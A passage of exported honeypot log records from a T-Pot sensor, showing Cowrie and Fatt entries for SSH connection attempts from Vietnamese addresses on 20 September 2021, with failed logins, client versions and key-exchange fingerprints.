21973	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:25.279245+03	2021-09-20 14:15:04.327613+03	{"_id": "QQXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [agent/agent] failed", "session": "fc8a78d51290", "@version": "1", "password": "agent", "username": "agent", "timestamp": "2021-09-20T11:06:25.279245Z", "@timestamp": "2021-09-20T11:06:25.279Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21964	116.105.211.46	109.199.241.180	Fatt	2021-09-20 14:06:25.153196+03	2021-09-20 14:15:04.317613+03	{"_id": "OAXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38288, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.153196", "@timestamp": "2021-09-20T11:06:25.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21965	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:25.331923+03	2021-09-20 14:15:04.318612+03	{"_id": "OQXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55550, "timestamp": "2021-09-20T11:06:25.331923", "@timestamp": "2021-09-20T11:06:25.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21966	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:25.355286+03	2021-09-20 14:15:04.319613+03	{"_id": "OgXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 37806, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.355286", "@timestamp": "2021-09-20T11:06:25.355Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21967	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:25.824873+03	2021-09-20 14:15:04.320613+03	{"_id": "OwXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43632, "timestamp": "2021-09-20T11:06:25.824873", "@timestamp": "2021-09-20T11:06:25.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21996	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:17.495791+03	2021-09-20 14:15:04.360613+03	{"_id": "3gXiAnwBvYTbRNuEnfwk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "00c51bf68789", "@version": "1", "duration": 3.3597748279571533, "timestamp": "2021-09-20T11:06:17.495791Z", "@timestamp": "2021-09-20T11:06:17.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21968	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:25.842515+03	2021-09-20 14:15:04.321614+03	{"_id": "PAXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 43632, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.842515", "@timestamp": "2021-09-20T11:06:25.842Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21969	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:25.967842+03	2021-09-20 14:15:04.323612+03	{"_id": "PQXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57066, "timestamp": "2021-09-20T11:06:25.967842", "@timestamp": "2021-09-20T11:06:25.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21970	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:25.115726+03	2021-09-20 14:15:04.324613+03	{"_id": "PgXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e63a7fa3aa45", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:25.115726Z", "@timestamp": "2021-09-20T11:06:25.115Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21971	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:25.153867+03	2021-09-20 14:15:04.325612+03	{"_id": "PwXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", 